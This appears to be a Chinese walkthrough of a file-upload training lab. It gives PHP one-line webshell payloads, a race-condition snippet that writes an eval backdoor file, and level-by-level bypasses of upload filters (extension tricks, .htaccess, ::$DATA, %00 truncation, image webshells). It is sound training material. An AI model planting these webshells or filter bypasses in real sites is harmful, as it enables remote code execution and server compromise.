WebShell
一句话木马:
<?php @eval($_POST['a'])?>
<?php @system($_POST['a'])?>
第一关(删除前端js校验)
删除return checkFile()

就能上传成功


第二关(抓包文件类型校验)
BP抓包修改后缀

改为2.php后放行


第三关(上传php同种类型的不同后缀)
根据源码发现这关的黑名单不太严谨,我们就可以使用php同种类型的不同后缀


后缀加个3 放行
第四关(双上传)
根据源码发现这些后缀的都无法上传,这时候就要用到.htaccess文件上传了

上传.htaccess配置文件
AddType application/x-httpd-php .png
把我们的木马文件后缀修改为png

第五关(大小写绕过)
根据源码发现这关没有过滤大小写


就可以上传成功了
第六关(空格绕过)
根据源码发现这关没有过滤首尾空格

在文件后面添加一个空格就可以上传成功了


第七关(点绕过)
根据源码发现这关没有过滤文件末尾的点

抓包修改文件名,在文件末尾加一个点,就可以上传成功


第八关(::$DATA绕过)
根据源码发现这关没有过滤::$DATA

在文件末尾加上::$DATA就可以成功上传


第九关(点空格点绕过)
根据源码发现这关把我们之前的方式都过滤了

我们可以在文件尾部加上点空格点(. .)就可以成功上传


第十关(重复写绕过)
根据源码发现只有一个黑名单验证

我们只要把文件后缀改成.pphphp就可以成功上传


第十一关(get %00截断绕过)
根据源码发现是一个白名单上传,它只允许上传它给定的后缀名,关键的代码是这里;save_path是一个可控变量

在这里添加/12.php%00截断就可以上传成功了


第十二关(post %00截断绕过)
跟十一关是一样的,只不过换成了POST;这关没有环境是不行的

把%00进行编码


第十三关(文件包含图片马绕过(图片马单靠自己没用,需要一个有文件包含漏洞的php文件将图片马包含到自己的页面上))
1.png/b+13.php 2.png


把我们制作好的图片马上传,点击在信标签打开图片就可看到我们图片的名称

在靶场的文件中有一个include.php

在include.php后面跟上参数和路径就能访问我们的图片马

第十四关(文件包含图片马绕过 同13)
直接上传我们的图片马

第十五关(文件包含图片马绕过 同13)
十五关需要一个模块,在小皮里面打开就可


直接传之前的图片马就行
第十六关(文件包含二次渲染专用图绕过)
这一关会对我们的图片打散进行二次渲染

专用二次渲染图片;上传直接就可以成功

第十七关(抓包爆破条件竞争)
根据源码发现,这关我们上传的php文件是上传之后才被删除

我们这关需要写一个生成新的php文件并把我们的一句话写进去
<?php fputs(fopen('qs.php','w'),'<?php @eval($_POST["cmd"]);?>'); ?>
利用BP抓包发送到攻击模块;清掉所有payload

选择Null和无限重复就可以开始攻击

我们去一直访问1.php直到访问成功就是写进来了
或者去目录下面看

第十八关(上传二次渲染的图片马 文件包含漏洞)
还是把我们二次渲染的图片马上传就行

第十九关(文件名命名规范)
根据源码发现有move_uploaded_file()这样一个函数,它有一个特性,会忽略到文件末尾的/.
抓包之后可以看见多了保存名称,没有对上传的文件做判断,只对用户输入的文件名做判断。

在文件末尾加上/.就可以成功上传
